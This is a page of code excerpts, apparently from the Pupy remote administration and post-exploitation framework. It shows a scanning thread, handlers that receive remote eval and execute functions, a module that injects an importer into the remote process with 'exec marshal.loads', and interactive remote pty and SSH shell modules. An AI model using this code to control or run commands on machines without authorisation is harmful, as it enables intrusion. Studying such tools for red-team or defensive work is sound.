Esempio n. 1
0
def scanthread(hosts, ports, on_complete, **kwargs):
    abort = threading.Event()
    kwargs.update({'abort': abort, 'on_complete': nowait(on_complete)})
    scanner = threading.Thread(target=safe_scan,
                               args=(hosts, ports),
                               kwargs=kwargs)
    scanner.daemon = True
    scanner.start()

    return abort
Esempio n. 2
0
    def exposed_initialize_v1(
            self,
            namespace, modules, builtin,
            register_cleanup, unregister_cleanup,
            obtain_call,
            remote_exit, remote_eval, remote_execute,
            pupyimporter,
            infos, *args
       ):
        self.namespace = namespace
        self.modules = modules
        self.builtin = self.builtins = builtin
        self.register_remote_cleanup = nowait(register_cleanup)
        self.unregister_remote_cleanup = nowait(unregister_cleanup)
        self.obtain_call = obtain_call
        self.exit = timed(remote_exit, 1)
        self.eval = remote_eval
        self.execute = remote_execute
        self.pupyimporter = pupyimporter
        self.infos = msgpack.loads(infos, ext_hook=msgpack_exthook)
        self.get_infos = lambda: self.infos

        self.pupy_srv.add_client(self)
Esempio n. 3
0
    def run(self, args):
        if 'linux' not in sys.platform:
            raise NotImplementedError('Interactive shell is not supported for this platform')

        # Hooks

        # self.stdout may be mapped to self.iogroup.stdout via logger
        # TODO: Logger refactoring - migrate to IOGroup?

        ps = None
        detached = [False]

        def write(data):
            if not self.iogroup.closed:
                self.stdout.write(data)

        def local_detach(iogroup):
            detached[0] = True
            iogroup.close()

        def local_close(iogroup):
            iogroup.close()

        term = os.environ.get('TERM', 'xterm')

        acquire_shell = self.client.remote('ptyshell', 'acquire', False)
        release_shell = self.client.remote('ptyshell', 'release', False)

        cmdline = ' '.join(args.program)

        try:
            new, ps = acquire_shell(cmdline, term, args.su)
        except Exception as e:
            self.error(' '.join(x for x in e.args if type(x) == str))
            return

        if not ps:
            self.error('Can\'t create shell')
            return

        if new:
            self.client.conn.register_remote_cleanup(release_shell)

        remote_write = nowait(ps.write)

        self.iogroup.set_on_winch(nowait(ps.set_pty_size))
        self.iogroup.set_mapping('~~~.', local_close)
        self.iogroup.set_mapping('~~~,', local_detach)

        if new:
            self.success('Start new shell')
        else:
            self.warning('Reuse previous shell')

        with self.iogroup:
            ps.attach(write, self.iogroup.close)

            for data in self.iogroup:
                remote_write(data)

        try:
            ps.detach()
        except Exception as e:
            detached[0] = False
            self.error(e)

        if detached[0]:
            self.warning('Shell detached')
        else:
            try:
                release_shell()
                self.success('Shell closed')
                self.client.conn.unregister_remote_cleanup(release_shell)
            except Exception, e:
                self.error(e)
Esempio n. 4
0
def register_package_error_hook(hook):
    pupy.remote_print_error = nowait(hook)
Esempio n. 5
0
    def load_pupyimporter(self):
        """ load pupyimporter in case it is not """

        if not self.conn.pupyimporter:
            try:
                self.pupyimporter = self.remote('pupyimporter')
            except:
                self.conn.execute('\n'.join([
                    'import imp, sys, marshal',
                    'mod = imp.new_module("pupyimporter")',
                    'mod.__file__="<bootloader>/pupyimporter"',
                    'exec marshal.loads({}) in mod.__dict__'.format(
                        repr(
                            pupycompile(path.join(ROOT, 'packages', 'all',
                                                  'pupyimporter.py'),
                                        'pupyimporter.py',
                                        path=True,
                                        raw=True))),
                    'sys.modules["pupyimporter"]=mod', 'mod.install()'
                ]))

                self.pupyimporter = self.remote('pupyimporter')
        else:
            self.pupyimporter = self.conn.pupyimporter

        if self.conn.register_remote_cleanup:
            register_package_request_hook = nowait(
                self.pupyimporter.register_package_request_hook)
            register_package_error_hook = nowait(
                self.pupyimporter.register_package_error_hook)

            self.conn.register_remote_cleanup(
                self.pupyimporter.unregister_package_request_hook)
            register_package_request_hook(self.remote_load_package)

            self.conn.register_remote_cleanup(
                self.pupyimporter.unregister_package_error_hook)
            register_package_error_hook(self.remote_print_error)

        self.pupy_load_dll = getattr(self.pupyimporter, 'load_dll', None)
        self.new_dlls = getattr(self.pupyimporter, 'new_dlls', None)
        self.new_modules = getattr(self.pupyimporter, 'new_modules', None)
        self.remote_add_package = nowait(self.pupyimporter.pupy_add_package)
        self.remote_invalidate_package = nowait(
            self.pupyimporter.invalidate_module)

        if self.conn.obtain_call:

            def obtain_call(function, *args, **kwargs):
                if args or kwargs:
                    packed_args = msgpack.dumps((args, kwargs))
                    packed_args = zlib.compress(packed_args)
                else:
                    packed_args = None

                result = self.conn.obtain_call(function, packed_args)
                result = zlib.decompress(result)
                result = msgpack.loads(result)

                return result

            self.obtain_call = obtain_call

        if self.obtain_call:
            self.imported_modules = set(
                self.obtain_call(self.conn.modules.sys.modules.keys))
            self.cached_modules = set(
                self.obtain_call(self.pupyimporter.modules.keys))
        else:
            self.imported_modules = set(
                obtain(self.conn.modules.sys.modules.keys()))
            self.cached_modules = set(obtain(self.pupyimporter.modules.keys()))
Esempio n. 6
0
class SSHell(PupyModule):
    """
        Interactive SSH shell
    """

    rec = 'ttyrec'

    io = REQUIRE_TERMINAL

    dependencies = ['paramiko', 'cryptography', 'ecdsa', 'ssh']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-T',
            '--timeout',
            type=int,
            default=30,
            help='Set communication timeout (default 30s)')
        cls.arg_parser.add_argument(
            '-R',
            default='asciinema',
            dest='recorder',
            choices=['ttyrec', 'asciinema', 'asciinema1', 'none'],
            help="Change tty recorder")
        cls.arg_parser.add_argument('-u', '--user', help='Use user name')
        cls.arg_parser.add_argument('-p', '--port', type=int, help='Use port')
        cls.arg_parser.add_argument(
            '-P',
            '--passwords',
            action='append',
            default=[],
            help='Use SSH auth password (can specify many times)')
        cls.arg_parser.add_argument(
            '-KP',
            '--key-passwords',
            action='append',
            default=[],
            help='Use SSH key password (can specify many times)')
        cls.arg_parser.add_argument(
            '-k',
            '--private-keys',
            help='Use private keys (Use "," as path separator)',
            completer=path_completer)
        cls.arg_parser.add_argument('host', help='host to connect')
        cls.arg_parser.add_argument('program',
                                    nargs=REMAINDER,
                                    help='Execute in remote SSH session shell')

    def init(self, args):
        if args.recorder == 'none':
            self.rec = None
        else:
            self.rec = args.recorder

        PupyModule.init(self, args)

    def run(self, args):
        if 'linux' not in sys.platform:
            raise NotImplementedError(
                'Interactive shell is not supported for this platform')

        # Hooks

        # self.stdout may be mapped to self.iogroup.stdout via logger
        # TODO: Logger refactoring - migrate to IOGroup?

        term = environ.get('TERM', 'xterm')

        ssh_interactive = self.client.remote('ssh', 'ssh_interactive', False)

        h, w, hp, wp = self.iogroup.window_size

        host = args.host

        if '://' not in host:
            host = 'ssh://' + host

        uri = urlparse(host)
        host = uri.hostname
        port = args.port or uri.port or 22
        user = args.user or uri.username
        u_pwd = [uri.password] if uri.password else []
        passwords = (args.passwords or tuple(u_pwd), tuple(args.key_passwords))
        program = ' '.join(args.program) or None

        exit_status = [-1]

        private_keys = None
        if args.private_keys:
            private_keys = tuple(
                list(self._find_private_keys(args.private_keys)))

        def write(data):
            if not self.iogroup.closed:
                self.stdout.write(data)

        def local_close(iogroup):
            iogroup.close()

        def remote_close(remote_exit_status):
            exit_status[0] = remote_exit_status
            self.iogroup.close()

        try:
            attach, writer, resizer, closer = ssh_interactive(
                term, w, h, wp, hp, host, port, user, passwords, private_keys,
                program, write, remote_close, args.timeout)

        except Exception, e:
            self.error(e.args[0])
            return

        self.client.conn.register_remote_cleanup(closer)

        remote_write = nowait(writer)

        self.iogroup.set_on_winch(nowait(resizer))
        self.iogroup.set_mapping('~~~.', local_close)

        with self.iogroup:
            attach()

            for data in self.iogroup:
                remote_write(data)

        self.client.conn.unregister_remote_cleanup(closer)
        closer()

        if exit_status[0] == 0:
            self.success('SSH closed')
        else:
            self.error('SSH closed ({})'.format(exit_status[0]))